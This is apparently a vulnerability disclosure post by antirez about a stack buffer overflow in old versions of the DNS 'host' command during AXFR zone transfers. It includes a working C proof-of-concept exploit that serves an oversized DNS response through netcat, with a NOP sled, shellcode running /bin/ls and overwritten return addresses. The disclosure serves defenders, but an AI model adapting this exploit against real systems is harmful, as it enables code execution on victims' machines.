Synopsis

--------



Old versions of the 'host' command, contain

an exploitable buffer overflow. Sorry if this

is already known, it seems an old problem

but I failed searching it in the bugtraq archives.



Versions

--------



The version affected is the following:

static char rcsid[] = "$Id: host.c,v 8.21 1998/03/19 19:31:25 halley Exp $";



Maybe some newer version (but not the current), probably

older versions.



Description

-----------



The host command can be used to perform the AXFR request

to obtain the zone transfer of some domain. UDP DNS messages

are limited to 512 bytes, TCP DNS messages to 65535 bytes.

Vulnerable versions of the host command perform the AXFR

query using TCP but write the received data to a stack

allocated buffer of 512 bytes. If the server send a message

bigger than 512 bytes the return address of the function

can be modified. This can be reproduced using the host command

with the syntax and the proof of concepts exploit

attached blow:



command line:



./host -l -v -t any somezone.org 



proof of concepts exploit:



/* hostexp.c

 * cc hostexp.c -o hostexp

 *

 * usage: ./hostexp | nc -l -p 53

 */



#include 

#include 



int main(void)

{

int offset = 140;

unsigned int base = 0xbffff74c+offset, i;

        char shellcode[] = /* 48 bytes, ripped */

        "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"

        "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"

        "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"

        "\xff\xff/bin/ls";

unsigned short a = htons(1024);

char buffer[1026];



memcpy(buffer, &a, 2);

memset(buffer+2, 'A', 100); /* avoid response processing */

memset(buffer+102, 0x90, 100);

memcpy(buffer+202, shellcode, 48);

for (i = 202+48; i < 202+48+600; i+=4)

memcpy(buffer+i, &base, 4);

write(fileno(stdout), buffer, 1026);

return 0;

}



regards,

antirez



--

Salvatore Sanfilippo

antirez@invece.org